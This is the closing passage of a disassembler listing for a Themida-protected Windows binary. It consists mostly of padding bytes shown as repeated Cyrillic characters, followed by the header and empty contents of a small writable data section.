		db 3 dup(0CCh)
asc_5D4D5B	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: ___:off_43162Co
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001D6000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D6000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D6000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start